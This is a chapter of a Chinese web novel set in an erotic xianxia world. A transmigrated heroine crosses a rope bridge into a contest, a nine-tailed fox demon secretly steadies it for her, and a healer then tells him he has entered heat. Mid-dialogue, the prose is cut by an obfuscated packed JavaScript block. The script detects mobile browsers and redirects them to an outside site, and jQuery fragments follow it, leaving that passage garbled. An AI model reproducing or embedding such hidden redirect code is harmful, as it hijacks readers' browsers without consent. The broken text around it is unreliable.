13.发情期
作品:《在限制文里认错攻略对象》 如果说楚南辞是不折不扣的疯批反派,那萧令川的人设就是标准的美强惨男主。
父母在他儿时被妖兽所杀,临死前让家中老仆将他带走,可逃亡路上遇到匪徒,老仆为了保护他被山匪活活砍死,他自己掉下山崖,险些在崖底的深水中溺毙,最后被一条鱼妖捞回洞里才侥幸活了下来。
但鱼妖救他也只是想要用他的血肉修炼邪术,见他骨瘦如柴便想着养养再吃。
这一养就是十年。
期间鱼妖意外发现萧令川体内有灵脉,它修炼的邪术若用修士的血肉献祭会事半功倍,于是开始教他修炼。
萧令川天赋异禀,很快就将鱼妖教他的心法融会贯通,日日勤学苦练,最终成功将鱼妖反杀。
只是妖兽的心法并不适合人类修炼,随着时间越久,他体内两股力量相冲的就越凶,日夜都遭受着噬骨之痛,直到遇到天生药体的女主祝念,和她一夜云雨后体内的反噬竟降了下去。
至此,祝念便成了萧令川的救赎和软肋。
祝念天生药体会引来妖兽觊觎,而萧令川修炼妖兽心法对妖气格外敏感的缘故,妖兽在他眼里根本无所遁形,两人一路配合,所过之处妖兽被杀的片甲不留。
男女主互补的设定也被世人称作是天生一对。
不过在偏移的剧情里,祝念和谢淮安也很像天生一对,谢淮安身受妖力诅咒的折磨,唯有和祝念双修能减轻痛苦。
江茵当时还感叹真不愧是限制文,所有问题都能在床上解决。
总而言之,萧令川的自身经历让他对妖兽恨之入骨,逢妖必杀,绝不留情。
而谢淮安因妖力诅咒体内有股妖气,原文里在花梦楼初赛上萧令川感应到谢淮安身上的妖气,误以为眼前的青年是妖兽,本命剑当即出鞘,若非女主及时出现将人救下,痴情男配刚出场就要成为男主剑下冤魂了。
但那是女主,尽管三阶中层的修为和四阶巅峰的萧令川比起来有些差距,但靠着能快速自愈的体质,尚能跟萧令川有一战之力。
江茵一个连入门都没到的纯人类,别说在萧令川手里保住谢淮安,说不定还会被一起送上西天。
好在月圆这几天萧令川的反噬也会变强,只要不凑到他面前去,他就闻不出谢淮安身上的妖气。
至于薛壮儿,他是天地精气所化的石妖,妖气本就极其微弱,除非是玄天宗长老级别的大佬或者楚南辞这种大妖才能感应到他身上的妖气,萧令川现在还处在前期发育阶段,没这个本事。
……但在初赛里拿第一的本事萧令川是有的。
“唉。”
江茵看着前面的花楼忧心忡忡的叹了口气。
要是剧情没错的话,萧令川就是在月圆后第一日,也就是今天来花梦楼参加的初赛。
她倒是可以明天再来参赛,这样更稳妥一些,可就算过了初赛,月夜游时她还是会跟萧令川成为对手。
她可没把握在月夜游上赢过萧令川。
而在原文里,这次的月夜游结束后,花梦楼楼主会死在萧令川手中,如果她这次不能赢,就再也没有办法得知柳娘的下落了。
所以最好是在初赛时就赢过萧令川,让他没法参加决赛。
虽然江茵看过原文知道如何在初赛获胜,但想想她面对的是未来能封印九尾狐妖的男主,她就顿感压力山大。
薛壮儿听到她的叹气声,安慰她:“江姐姐,你别害怕,我会努力保护你的。”
江茵握拳和他的小手碰了碰:“我们一起加油。”
无论如何,这次比赛她一定要赢!男主又怎么样,能大过她的金手指吗?
参赛去!
江茵给自己洗脑成功,拉着薛壮儿雄赳赳气昂昂的从岸上的阶梯走到湖边。
花梦楼位于水上,由两栋不同的木楼组成,为听曲赏艺可乘坐小船前往花楼,参加月夜游则是要去梦楼。
但去梦楼不可乘船,只能通过湖面上的一条藤桥前往。
藤桥极窄,堪堪够一人通行,走动时随着踩踏晃动,水面便会泛起涟漪,叫人分不清幽绿的湖面下到底何处才是藤桥,稍有不慎便会掉入湖中。
而掉进湖里的人就丧失了这个月的参赛资格。
江茵再三叮嘱薛壮儿:“千万不要盯着水面看,眼睛看着前面的花月楼,脚下走直线。”
藤桥是梦楼对参赛人员的入门考核,只有心性坚定者才能走完,是以这条路只能独自前往,不可互相陪同。
江茵没办法跟着薛壮儿,只能让他先上桥,她在后面紧张的捏了把汗。
薛壮儿牢记着江茵的话,眼睛望着梦楼的大门,脑子里只想着要赢下比赛找到他娘,都没感觉自己走了多久,好像一眨眼的功夫,他就到了。
门口柱子上挂了盏花灯,他过桥后灯亮了几息,随后掉下一根形似木棍的长条。
江茵远远看见,急的大喊:“快把那根棍子拿着!”
这可是进梦楼的通行证,至关重要的参赛道具,要是没接到前面就白走了。
薛壮儿赶紧接住棍子,举在手里:“江姐姐,我拿到了,你快过来。”
江茵哎了声:“我马上来!”
众所周知,月夜游每次只有一个获胜者,就算是再好的关系,一旦上桥也都成了竞争对手,不盼着对方失误都算好的,哪里还会提醒对方,彼此加油。
这边的动静难免引来花楼里的人瞩目,见薛壮儿站在门口没进去,便都猜测这孩子会在江茵上桥后故意摇晃藤桥让她落水。
花楼最高层的望月台上也有人看着这一幕。
身穿莲裙的女子五官姣好,举手投足间都透着如水般的柔美,若是江茵在这就会发现,她与医馆那名女大夫有足有八分想象。
女子倒了杯花茶,看着岸边犹豫半天,迟迟没有上桥的江茵,笑着道:“那孩子倒是真心希望她能过桥,可惜,她终究会落水的。”
藤桥考验的是人的心性,她这般迟疑不决,注定失败。
她将茶盏递向对面,坐在那里的青年却没接。
他一双浅色的眼瞳映着终于鼓足踏上桥,可没走两步双腿就开始发抖的少女,手指漫不经心的在桌上轻叩。
这么怕水,自然是过不去的。
果然,江茵走了没两步就忍不住盯着脚下看,身子摇晃的厉害,下一步就要走出藤桥的范围。
而花楼门口围聚的男人们正在期待着她的落水。
盛夏之时,女子穿的本就单薄,江茵身上的月白襦裙只有几层轻纱,若是沾了水,必然春光泄露。
楚南辞手指微顿,再落下时,指尖敲击的实木桌面隐约泛起波纹。
而江茵脚下的藤桥骤然停止了晃动,尽管她迈错步子踩在了边缘,也稳住了身体没有掉下去。
她疑惑的用脚碾了碾藤桥,怎么一点都不晃了,平稳的像是在走木板桥。
她不明所以,也顾不上深思,趁着这会桥没有乱晃,加快脚步冲向梦楼。
直到她成功令花灯亮起,拿到木棍,楚南辞才将手指重新抬了起来。
在江茵身后,看她过的那般轻松也想跟上的人急不可耐冲上桥,结果没走两步就剧烈摇晃着掉进水里,引起一阵哄笑。
美貌女子摇了摇头:“九尾大人的换位术法倒是用的精巧,只是当着我的面作弊,是否有些过分了?”
楚南辞眼皮轻抬,看着她,笑容温和:“怎么,花梦楼难不成还要取消她的参赛资格吗?”
“……当然不会。”顶着对面明晃晃的威胁眼神,花梦楼楼主花影识时务的低头:“能得九尾大人相助,也是她的本事。”
这话说的中听,楚南辞端起茶盏轻抿了口:“梦月呢,为何不来见我?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151918|195918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
花影捻着手帕擦了擦唇角:“梦月前些日子受了伤,正在修养,大人有什么事同我说便好。”
“只是奇怪。”楚南辞随口问道:“你们一向不愿见血,昨夜为何杀了人?”
花影捏着手帕的手指陡然收紧,硬咽下惊惧的心跳,强笑道:“大人如何得知的?”
楚南辞见她如此紧张,眉梢轻挑:“我在一处血地中感应到了残留着梦月的妖气,你们杀的可是位妇人?”
花影摇摇头:“只是杀了个发现梦月身份的修士,大人说的妇人我未曾见到,梦月或许见过,只是她如今重伤昏迷,短时间内怕是难以苏醒,大人是急于找到那位妇人吗?”
楚南辞能感觉到花影在撒谎,但柳娘的生死对他来说不重要,他并不打算深究:“不急,我此番来是为了另一件事。”
花影肉眼可见的松了口气。
“大人请说。”
楚南辞:“我前些日子被修士追捕伤了一尾,本只是有些疼痛,但从昨夜开始,这条伤尾便总是不受控的想要缠住某个人,哪怕我下了禁制也无法压制,你可知道原因?”
他连当着花影作弊的事都干的出来,自然也不会将花梦楼每月只接受一次提问的规则放在眼里。
花影无奈:“劳烦大人伸手,容我先替你诊脉。”
楚南辞依言伸出手,但花影并不敢直接诊脉。
整个妖界谁不知道这只九尾狐洁癖重的很,不喜别人触碰,她可不想因为这点小事惹怒他。
她伸出一根手指,指腹里钻出一条浅绿色的丝,在男人月白的手腕上绕了一圈。
过了会,花影诧异抬眸,唇张了又合,像是不知如何开口。
楚南辞瞥她一眼:“有话便说。”
“是。”花影低声问:“狐尾异常前,大人可是与谁有过肌肤之亲?”
肌肤之亲?被亲了下巴算吗?
楚南辞想到那个没完成的吻,语气愈发不耐:“是又如何?”
花影头更低了些,支支吾吾的:“嗯……大人虽然是九尾妖王一族,但毕竟还是狐妖,狐妖天性喜……淫……成年的狐狸都会有发…情…期…大人昨夜初尝云雨滋味,约莫是欲求…不满……进入发…情期了……”
说着说着,她顿了几秒,偷偷看了眼楚南辞:“我若没记错的话,大人应当在五百年前就成年了,原来还是第一次……吗?”
第一次什么,她没说出口,但是个人都能听出来。
楚南辞笑着的唇角抿紧,手里的茶盏早在听到发情期三个字时就被他捏的粉碎。
他怎么会到发情期?!那不是狐族破身后才有的玩意儿吗?连花影都以为他昨晚是与人欢好才会到发情期,可事实上他只是被江茵亲了下巴,甚至只是浅浅碰了一下。
所以他的狐尾缠着江茵,不是想要杀了她,而是想要与她,双修?!
“砰”的一声,花影面前的桌子翻了两圈掉在地上碎的四分五裂,缠在四周的各类鲜花也凌乱的散开,罪魁祸首在破碎的花瓣中匆匆离去,背影颇有几分落荒而逃的架势。
花影坐在满地狼藉里,半晌,极轻的笑了一声。
“噗嗤。”
真是没想到,一向强大无惧的九尾狐妖居然意外的纯情啊。
不过那个跟他有过肌肤之亲的女人是谁?会是刚刚过桥的少女吗?
花影捡起地上掉落的花瓣拢在掌心,看着前方的梦楼,轻声吩咐:“初试的时候,想办法让她们两个退出吧。”
梦楼里没有歌舞,只有挂了满楼的绸幔薄纱,在透过水面的潮气中轻扬,潮湿和朦胧的氛围下,身处其中宛若梦境,各色身影隐匿在纱幔下,压根看不清谁是谁。
江茵进门后转了两圈差点迷路,随手掀开前方的纱幔,却看到一个意料之外的人。
“怎么是你?”

